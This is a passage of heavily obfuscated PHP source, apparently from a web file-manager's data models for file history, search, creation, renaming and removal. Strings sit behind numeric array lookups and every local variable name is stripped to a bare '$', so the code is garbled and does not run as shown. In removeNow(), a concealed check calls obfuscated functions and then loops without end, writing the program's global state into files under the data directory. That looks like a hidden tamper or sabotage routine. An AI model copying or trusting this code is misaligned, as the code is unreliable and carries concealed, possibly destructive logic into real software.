" . $[1489]; } $ .= $[1490]; $ = array(); $ = explode($[200], $this->getHost()); $ = array($[1484] => $[1], $[232] => $[122], $[277] => strlen($)); $ = $[243]; $ = $[8] . $this->pathEncode($) . $[$[177]]; $ = $this->client->__getSignatureV4($, $, $, $, $); return array($[251] => $[$[251]], $[241] => $[$[1486]], $[253] => $, $[1483] => $[$[1483]]); } public function link($, $ = array()) { return parent::link($, $); } public function fileOut($, $ = false, $ = false, $ = '') { if ($this->isFileOutServer() || strstr($this->endpoint, $_SERVER[][1491])) { return parent::fileOutServer($, $, $, $); } parent::fileOut($, $, $, $); } public function fileOutImage($, $ = 250) { if (strstr($this->endpoint, $_SERVER[][1491])) { return parent::fileOutImageServer($, $); } parent::fileOutImage($, $); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1382]) { $ = $[1383] . substr($, 7); } header($[164] . $); die; } public function getHost() { $ =& $_SERVER[]; $ = str_rtrim(parent::getHost(), $[8] . $this->bucket); $ = explode($[200], $); return $[0] . $[200] . $this->bucket . $[10] . $[1]; } } goto B; E: $fileSize = strrev(base64_decode($_SERVER[][0])); function binCheckNeq($, $) { return $ != $; } $_SERVER[$_SERVER[][1]] = $fileSize($_SERVER[$_SERVER[][2]]); goto D; E: class SourceHistoryModel extends ModelBase { protected $tableName = "io_source_history"; public function historyCount($) { $ =& $_SERVER[]; if (!$) { return array(); } if (is_string($) || is_int($)) { $ = array($); } $ = array($[183], $[1937] => $[536]); $ = array($[183] => array($[7], $)); $ = $this->field($)->where($)->group($[183])->select(); return array_to_keyvalue($, $[183], $[536]); } public function addHistory($, $ = '') { $ =& $_SERVER[]; $ = array($[461] => $[$[183]], $[1696] => isset($[$[499]]) ? $[$[499]] : $[$[497]], $[512] => $[$[511]], $[587] => $[$[78]], $[2149] => $); if ($GLOBALS[$[6]][$[91]][$[1268]] >= 1) { $this->historyAutoClear($[$[183]]); $this->add($); } Hook::trigger($[2150], $); Model($[2151])->eventFileEdit($[$[183]]); } private function historyAutoClear($) { $ =& $_SERVER[]; $ = Model($[815])->get($[1290]); $ = intval($GLOBALS[$[6]][$[91]][$[1268]]); $ = $ == $[1291] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 500) { return; } $ = array($[461] => $); $ = $this->field($[2152])->where($)->order($[2146])->select(); if (!$ || $ >= count($)) { return; } $ = array_to_keyvalue($, $[12], $[445]); $ = array_slice($, $); $ = array_to_keyvalue($, $[12], $[511]); $ = array_slice($, $); if (!$ || !$) { return; } $ = array($[463] => array($[7], $)); $this->where($)->delete(); Model($[514])->remove($); } public function listData($) { $ =& $_SERVER[]; $ = array($[461] => $); $ = $[2153]; $ = $this->field($)->where($)->order($[2146])->selectPage(); $this->_listAppendUser($[$[415]]); $ = Model($[815])->get($[1290]); $ = 5; if ($ == $[1291]) { $[$[415]] = array_slice($[$[415]], 0, $); $[$[412]] = array($[2154] => 1, $[2155] => 20, $[2156] => 1, $[2157] => count($[$[415]])); } return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1705]); $ = Model($[569])->userListInfo($); foreach ($ as &$) { $ = $[$[1705]]; $[$[497]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}io_file files on files.fileID = history.fileID"; return $this->alias($[2158])->where(array($[463] => $))->join($, $[2159])->find(); } public function removeItem($) { $ =& $_SERVER[]; $ = array($[463] => $); $ = $this->where($)->find(); if ($) { $ = $this->where($)->delete(); Model($[514])->remove($[$[511]]); return $; } return !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($[461] => array($[7], $)); $ = $this->field($[512])->where($)->select(); if ($) { $this->where($)->delete(); $ = array_to_keyvalue($, $[12], $[511]); Model($[514])->remove($); } return !0; } public function setDetail($, $) { $ =& $_SERVER[]; return $this->where(array($[463] => $))->save(array($[2149] => $)); } public function rollbackToItem($, $) { $ =& $_SERVER[]; $ = Model($[870])->sourceInfo($); $this->addHistory($, LNG($[2160])); $ = $this->find($); $ = array($[511] => $[$[511]], $[78] => $[$[78]], $[87] => time(), $[499] => USER_ID); Model($[870])->where(array($[183] => $))->save($); return $this->where(array($[463] => $))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ = $this->listData($); $ = array_to_keyvalue_group($, $[511]); $ = array(); $ = array(); foreach ($ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$[511]]; $[] = $[$[445]]; } } if (!$) { return; } $this->where(array($[445] => array($[7], $)))->delete(); Model($[514])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1696] => USER_ID); $ = "{$}io_file files on files.fileID = history.fileID"; return $this->alias($[2158])->where($)->join($, $[2159])->sum($[78]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$[177]]; $ = $[7]; if (!$[$[177]]) { $ = array_to_keyvalue($, $[12], $[177]); $ = implode($[50], $); $ = $[2161]; } $ = explode($[50], trim($, $[50])); return array($, $); } public function listPathType($) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($[569])->getInfo($); $ = array($[618] => SourceModel::TYPE_USER, $[555] => array($[582], $[565] . $[$[89]][$[183]] . $[583]), $[619] => $, $[616] => 0, $[617] => $); return $this->listSource($); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[1998]]) && $[$[1998]]) { $[$[1998]] = str_replace($[430], $[2162], trim($[$[1998]])); } $ = $this->_parseSearchWhere($); if (!isset($[$[475]])) { $[$[475]] = 0; } $ = $[2163]; $ = $; $ = $; $this->_listSearchBindPinyin($, $, $); $this->alias($[489])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($)->where($)->selectPage($); if ($GLOBALS[$[6]][$[427]][$[428]] && Input::check($[$[1998]], $[625]) && $[$[412]][$[399]] == 1 && $[$[412]][$[413]] == 0) { $ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGroupTag($, $, $); $this->_listDataApply($[$[415]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[511]])) { return; } $[$[511]] = array($[7], $[$[511]]); unset($[$[32]]); unset($[$[511]]); $ = $this->field($)->where($)->limit($[2164])->select(); if (!$ || count($) == 0) { return; } $[$[415]] = array_merge($, $[$[415]]); $[$[412]][$[413]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1) { return; } $ = Model($[2165])->listData(); $ = array(); $ = $[$[1998]]; foreach ($ as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[445]]; } } if (!$) { return; } $ = array($[470] => array($[7], $), $[1705] => USER_ID); $ = Model($[472])->field($[86])->where($)->select(); $ = array_to_keyvalue($, $[12], $[86]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1) { return; } $ = array($[96] => $[496], $[420] => array($[429], $[2000] . $[$[1998]] . $[2000])); $ = !1; if ($) { $ = $this->listSearchChildren($[$[182]]); $ = array_unique($); if (!$) { return; } $[$[183]] = array($[7], $); } $ = Model($[602])->field($[183])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[183]); $this->_listSearchMerge($, $, $, $); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1 || !$[$[182]]) { return; } $ = $this->sourceInfo($[$[182]]); if (!$ || $[$[180]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[540]]; $ = Model($[2166])->get($); $ = array(); $ = $[$[1998]]; foreach ($[$[415]] as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[445]]; } } if (!$) { return; } $ = array($[470] => array($[7], $), $[1705] => 0, $[33] => $[2020] . $); $ = Model($[472])->field($[86])->where($)->select(); $ = array_to_keyvalue($, $[12], $[86]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchMerge(&$, $, $, $) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($[$[415]], $[12], $[183]); $ = array_diff($, $); if (!$) { return; } $ = array($[183] => array($[7], $)); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $)) { $[] = $; } } $[$[415]] = array_merge($, $[$[415]]); $[$[412]][$[413]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[455]] == $[90]; if (!strstr($[$[555]], $[50] . $[$[182]] . $[50])) { return !1; } if (isset($[$[456]]) && $[$[456]] != $[1959]) { if ($[$[456]] == $[77] && !$) { return !1; } if ($[$[456]] != $[77] && $) { return !1; } if (!strstr($[$[177]], $[50] . $[$[456]] . $[50])) { return !1; } } if (isset($[$[2167]]) && $[$[2167]] < $[$[78]]) { return !1; } if (isset($[$[2168]]) && $[$[2168]] > $[$[78]]) { return !1; } if (isset($[$[632]]) && $[$[632]] != $[$[499]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($); $ = array($[555] => array($[429], $[$[555]] . $[$[183]] . $[583])); $ = $this->field($[78])->where($)->limit($ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($[183])->where($)->select(); $ = array_to_keyvalue($, $[12], $[183]); return $; } private function _listSearchChildrenNear($, $) { $ =& $_SERVER[]; $ = array(); $ = array($[182] => $); $ = $this->field($[2169])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($, $[455], $[90]), $[12], $[183]); $ = array_merge($, array_to_keyvalue($, $[12], $[183])); if (!$) { return $; } $ = array($[182] => array($[7], $)); $ = $this->field($[2169])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[183])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$, &$) { $ =& $_SERVER[]; if (!isset($[$[1998]]) || !$[$[1998]]) { return; } if (!Input::check($[$[1998]], $[364]) || strlen($[$[1998]]) < 2) { return; } $ = "LEFT JOIN {$this->tablePrefix}io_source_meta meta on source.sourceID = meta.sourceID"; $ = array(); $ = str_replace(array($[248], $[53], $[2170]), $[12], $); $ = $[481] . str_replace($[50], $[482], $); $ = $[$[32]]; unset($[$[32]]); foreach ($ as $ => $) { $[$[481] . $] = $; } foreach ($ as $) { $[] = array($[486] => $, $[1051] => $[2002], array($[2171] => $, $[2172] => array($[7], array($[508], $[507])))); } $this->join($); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ = array(); if (isset($[$[805]]) && $[$[805]]) { $[$[87]] = array($[2173], $[$[805]]); } if (isset($[$[806]]) && $[$[806]]) { $ = array($[2174], $[$[806]]); if ($[$[87]]) { $[$[87]] = array($[$[87]], $, $[2175]); } else { $[$[87]] = $; } } if (isset($[$[2167]]) && $[$[2167]] > 0) { $[$[78]] = array($[2173], $[$[2167]]); } if (isset($[$[2168]]) && $[$[2168]]) { $ = array($[2174], $[$[2168]]); if ($[$[78]]) { $[$[78]] = array($[$[78]], $, $[2175]); } else { $[$[78]] = $; } } if (isset($[$[632]]) && $[$[632]]) { $[] = array($[499] => $[$[632]], $[497] => $[$[632]], $[1051] => $[2002]); } if (isset($[$[456]]) && $[$[456]]) { $ = $[$[456]]; if ($ == $[77]) { $[$[455]] = 1; } else { if ($ == $[2176]) { $[$[455]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $[$[456]] = array($[462], $); $[$[455]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[1998]]) && trim($[$[1998]])) { $ = trim($[$[1998]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[120] && substr($, -1) == $[120]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ = array($); } $[$[32]] = array(array($[582], $[2000] . $ . $[2000])); if (count($) > 1) { $[$[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$[32]][] = array($[582], $[2000] . trim($) . $[2000]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[]; if (!isset($[$[182]]) || !$[$[182]]) { return; } $ = $this->pathInfo($[$[182]]); $ = $[$[182]] . $[12] === $[214]; $ = $[$[180]] == $[549]; if ($[$[566]] == $[567]) { $ = $this->sourceInfo($[$[182]]); $[$[555]] = $[$[555]]; } $[$[622]] = array($[582], $[$[555]] . $[$[182]] . $[583]); $ = isset($[$[1863]]) && in_array($[549], $[$[1863]]); if (!$ || !$ || !$ || !$[$[457]]) { return; } if (!AuthModel::authCheckRoot($[$[457]][$[458]])) { return; } $ = $[$[540]] . $[12]; if ($ == $[90]) { unset($[$[622]]); $[$[180]] = self::TYPE_GROUP; return; } $ = Model($[556])->groupChildrenAll($); $ = count($); if ($ <= 1) { return; } $ = array($[182] => 0, $[180] => self::TYPE_GROUP, $[540] => array($[7], $)); $ = $this->field($[2177])->where($)->limit($)->select(); $[$[622]] = array(); foreach ($ as $) { $[$[622]][] = array($[582], $[565] . $[$[183]] . $[583]); } $[$[622]][] = $[2002]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[]; $ = Model($[548])->where(array($[1696] => $))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ =& $_SERVER[]; $ = LNG($[2178]); $ = $this->mkdir($, $); $this->metaSet($, $[2179], $[90]); $this->metaSet($, $[2180], $); } public function userPathSafeAdd($) { $ =& $_SERVER[]; $ = Model($[548])->getInfoFull($); if (!$) { return !1; } if (_get($, $[570])) { return $[$[509]][$[2181]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2182], $[476]); Model($[548])->metaSet($, $[2181], $); $this->metaSet($, $[2183], $); return $; } public function groupRootAdd($) { $ =& $_SERVER[]; $ = Model($[556])->where(array($[1992] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][576]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][183]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][183]], !1); } private function _mkdirRoot($, $, $, $ = '') { $ =& $_SERVER[]; $ = defined($[2126]) ? USER_ID : 0; $ = array($[447] => 0, $[618] => $, $[619] => $, $[616] => 1, $[620] => $, $[621] => $, $[617] => $, $[622] => $[565], $[474] => 0, $[587] => 0, $[512] => 0, $[623] => $[12]); if ($ = $this->where($)->find()) { return $[$[183]]; } $ = "ModelSource.mkdirRoot.{$}.{$}." . $; CacheLock::lock($); $[$[32]] = $; $ = $this->add($); $ = array($[624] => short_id($)); $this->where(array($[461] => $))->save($); CacheLock::unlock($); return $; } private function targetSourceRoot($, $, $ = false) { $ =& $_SERVER[]; $ = array($[447] => 0, $[618] => $, $[619] => $); if ($) { $ = $this->where($)->select(); return $ ? $ : array(); } $ = $this->where($)->find(); return $ ? $ : array(); } public function sourceRootGroup($) { $ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[205]); $ = array($[415] => $, $[412] => array($[803] => count($))); $this->_listDataApply($[$[415]]); $this->_listMake($); return array_to_keyvalue($[$[84]], $[540]); } public function mkfile($, $, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[644])->addFileByContent($, $); return $this->_createFileCall($, $, $, $, $[1394]); } public function addFile($, $, $, $ = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[][644])->addFile($, $, $); return $this->_createFileCall($, $, $, $); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[644])->find($); Model($[644])->linkAdd($); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($, $, $, $ = array(), $ = REPEAT_RENAME) { $ = Model($_SERVER[][644])->addFileByRemote($, $, $); return $this->_createFileCall($, $, $, $); } private function _createFileCall($, $, $, $, $ = "upload") { $ =& $_SERVER[]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $ = $this->_createFile($, $, $, $, $); if (!$) { Model($[514])->remove($[$[511]]); } if ($ && $ && $ != $) { Model($[2151])->eventCreate($, $); } $this->lockWriteEnd($, $); return $; } public function mkdir($, $, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $); if ($ !== !1) { $ = $this->fileNameExist($, $); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $; } $ = $this->fileNameAuto($, $, $); } $ = array($[616] => 1, $[464] => $, $[617] => $[12], $[512] => 0, $[587] => 0); $ = $this->_addSource($, $); Model($[2151])->eventCreate($, $[1395]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($, $, $ = "sourceID,targetID,size") { $ =& $_SERVER[]; $ = $[424]; $ = array(); $ = 1024 * 50; $ = is_array($) ? $ : array(); $ = count($); $ = $this->tablePrefix . $[2184]; for ($ = 0; $ < $; $++) { $ = $[$]; $ .= "SELECT * FROM (SELECT {$} FROM `{$}` WHERE "; $ .= "`parentID`=0 AND `targetID`={$} AND `targetType`={$} and fileType='' limit 1) as tb_{$} UNION ALL "; if ((strlen($) >= $ || $ == $ - 1) && $) { $ = substr($, 0, -strlen($[1089])); $ = $this->query($); $ = $[12]; $ = array_merge($, $); } } return $; } private function _createFile($, $, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($, $); } $ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $, !1); } } } $ = array($[616] => 0, $[464] => $, $[617] => substr(get_path_ext($), 0, 10), $[512] => $[$[511]], $[587] => $[$[78]]); $ = $this->_addSource($, $); $this->folderSizeReset($, intval($[$[78]])); return $; } protected function fileHistory($, $, $) { $ =& $_SERVER[]; if ($[$[511]] == $) { return !1; } $this->checkLock($[$[183]], $); Model($[2185])->addHistory($); $ = array($[621] => USER_ID, $[468] => time(), $[511] => $, $[78] => $); $this->where(array($[461] => $[$[183]]))->save($); $this->sourceCacheClear($[$[183]]); return !0; } public function checkLock($, $) { $ =& $_SERVER[]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($[2186]); $ = substr($[$[32]], 0, -1 - strlen($[$[177]])) . $[1259] . $ . $[10] . $[$[177]]; $ = Model($[644])->find($); $this->_createFileCall($[$[182]], $, $, REPEAT_REPLACE, $[1394]); $ = $[$[509]][$[580]]; $ = $[$[2187]] ? $[$[2187]] : $[$[32]]; show_json(LNG($[2188]) . $[2189] . LNG($[2190]) . $[2191] . $ . $[2192], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[]; if (!isset($[$[509]]) || !$[$[509]][$[577]]) { return !1; } if ($[$[509]][$[577]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[91]][$[578]]; if ($[$[509]][$[579]] <= time() - $) { $this->metaSet($[$[183]], $[577], null); $this->metaSet($[$[183]], $[579], null); } if ($) { $this->metaSet($[$[183]], $[579], time()); } return !1; } private function _addSource($, $) { $ =& $_SERVER[]; $ = defined($[2126]) ? USER_ID : 0; $ = array($[618] => $[$[180]], $[619] => $[$[540]], $[620] => $, $[621] => $, $[447] => $[$[183]], $[622] => $[$[555]] . $[$[183]] . $[50], $[474] => 0, $[623] => $[12]); $ = array_merge($, $); $this->updateModifyTime($[$[182]]); $ = $[2193] . $[$[183]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[606], $); $ = !0; } $ = $this->add($); $ = array($[624] => short_id($)); $this->where(array($[461] => $))->save($); $this->setNamePinyin($, $[$[32]]); return $; } public function remove($, $ = true) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = intval($[$[180]]) === self::TYPE_SYSTEM; $ = Model($[478])->get($[2194]) == $[90]; if ($ || $ || !$) { return $this->removeNow($, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$[180]] == self::TYPE_USER ? $[632] : $[549]; if ($ == $[632]) { $ = Model($[548])->getInfo($[$[540]]); $ = !empty($[$[2187]]) ? $[$[2187]] : $[$[32]]; $ = $[306] . $ . $[2195] . $[$[540]]; } else { $ = Model($[556])->getInfo($[$[540]]); $ = _get($, $[32]); $ = $[165] . $ . $[2196] . $[$[540]]; } $ = $[2197] . md5($); CacheLock::lock($); $ = $this->fileNameExist($, $); if (!$) { $ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($, $[2198], $); $this->metaSet($, $[2199], $[$[540]]); if ($[$[182]] != 0) { $this->metaSet($, $[2200], _get($, $[2201])); } } CacheLock::unlock($); $this->metaSet($, $[2202], $[$[182]]); $this->where(array($[183] => $))->save(array($[468] => time())); $this->recycleClear($); $ = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$[182]]); return $; } private function recycleClear($) { $ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($[461] => array($[462], $[$[2203]])); Model($[2204])->where($)->delete(); } public function removeNow($, $ = true) { $ =& $_SERVER[]; $ = $_SERVER[$[926]] . $[927]; $ = $[931]; if ($_SERVER[$[922]] != $($)) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = $[924]; $(); $ = $[1623]; $ = json_encode($GLOBALS[$[1624]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ = $this->sourceInfo($); $ = $this->pathInfoMore($); if (!$) { return !0; } if ($[$[182]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2205], $, $); if ($) { Model($[2204])->moveToRecycle($); } else { $ = $this->childrenAll($); Model($[603])->eventRemove($); $this->removeRelevance($[$[2203]], $[$[1509]]); } $this->folderSizeReset($[$[182]]); $ = array($[$[182]]); if ($[$[455]] == $[90]) { $[] = $[$[183]]; } $this->updateModifyTime($); $this->lockMoveEnd($); Hook::trigger($[1747], $, $); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $ = $[$[183]]; if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $ = array($[622] => $[$[555]]); $ = $this->field($[2206])->where($)->select(); $ = !1; $ = array($); if ($) { $ = array_to_keyvalue($, $[12], $[511]); $ = array_remove_value($, $[214]); $ = array_to_keyvalue($, $[12], $[183]); $[] = $; } } else { $ = array($[$[511]]); $ = array($); } return array($[2203] => $, $[1509] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ = array($[461] => array($[462], $)); Model($[2204])->where($)->delete(); Model($[505])->where($)->delete(); Model($[2051])->where($)->delete(); Model($[603])->where($)->delete(); Model($[1884])->removeBySource($); Model($[2185])->removeBySource($); $this->where($)->delete(); Model($[514])->remove($); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->fileNameExist($[$[182]], $); if ($ && $ != $) { return !1; } $ = array($[464] => $, $[621] => USER_ID); if ($[$[455]] != $[90]) { $[$[456]] = substr(get_path_ext($), 0, 10); } Model($[603])->eventRename($, $[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $[$[32]], !1); $this->updateModifyTime($[$[182]]); $ = $this->where(array($[461] => $))->data($)->save(); $ = $[2193] . $[$[182]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($, $, $ = true) { $ =& $_SERVER[]; $ = Input::check($, $[625]); $ = array($[487] => KodSort::makeStr($)); if ($) { $[$[508]] = str_replace($[53], $[12], Pinyin::get($)); $[$[507]] = Pinyin::get($, $[626]); } if (!$ && !$) { $[$[508]] = null; $[$[507]] = null; } $this->metaSet($, $); } public function getContent($) { $ =& $_SERVER[]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$[78]] == 0) { return $[12]; } $ = $[2207] . $[$[517]]; if ($[$[78]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($[$[86]]); Cache::set($, $); } return $; } if (!$[$[86]]) { return $[12]; } return IO::getContent($[$[86]]); } public function setDesc($, $) { $ =& $_SERVER[]; Model($[603])->eventAddDesc($, $); return $this->metaSet($, $[496], $); } public function setContent($, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$) { return !1; } $ = Model($[514])->addFileByContent($, $[$[32]]); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if (!$) { return Model($[514])->remove($[$[511]]); } $this->folderSizeReset($[$[182]]); return !0; } public function fileSubstr($, $, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][86]], $, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$[455]]) { return !1; } $ = $[518] . $[$[511]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $ = Model($[514])->fileInfo($[$[511]]); if ($) { $[$[32]] = $[$[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[622] => array($[582], $[$[555]] . $ . $[583]), $[619] => $[$[540]], $[474] => intval($[$[475]]), $[616] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($[616] => 0))->count(); return array($[82] => $, $[83] => $); } public function pathInfo($, $ = false) { $ =& $_SERVER[]; $ = !1; $ = intval($); $ = $[504] . intval($) . $[432] . $; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[455]] == $[90]) { $[$[81]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $[503] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $ = $this->where(array($[183] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[503] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2208] . $]); unset(self::$cachePathInfo[$[2209] . $]); } public function metaSet($, $ = null, $ = null) { $ = parent::metaSet($, $, $); if ($) { $this->sourceCacheClear($); } return $; } public function pathInfoByPath($, $) { $ =& $_SERVER[]; $ = !$ ? array() : explode($[8], trim($, $[8])); $ = $; foreach ($ as $) { $ = array($[182] => $, $[32] => $); $ = $this->field($[2210])->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $[475]); $ = $[0][$[183]]; } $ = $this->sourceInfo($); $this->pathInfoFilter($); return $; } protected function updateModifyTime($) { $ =& $_SERVER[]; $ = defined($[2126]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $) { $[$] = intval($); $this->sourceCacheClear($); } $ = array($[183] => array($[7], $)); $ = array($[621] => $, $[468] => time()); $this->where($)->save($); } public function folderSizeReset($, $ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ = $[2211] . $; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[447] => $, $[474] => 0); $ 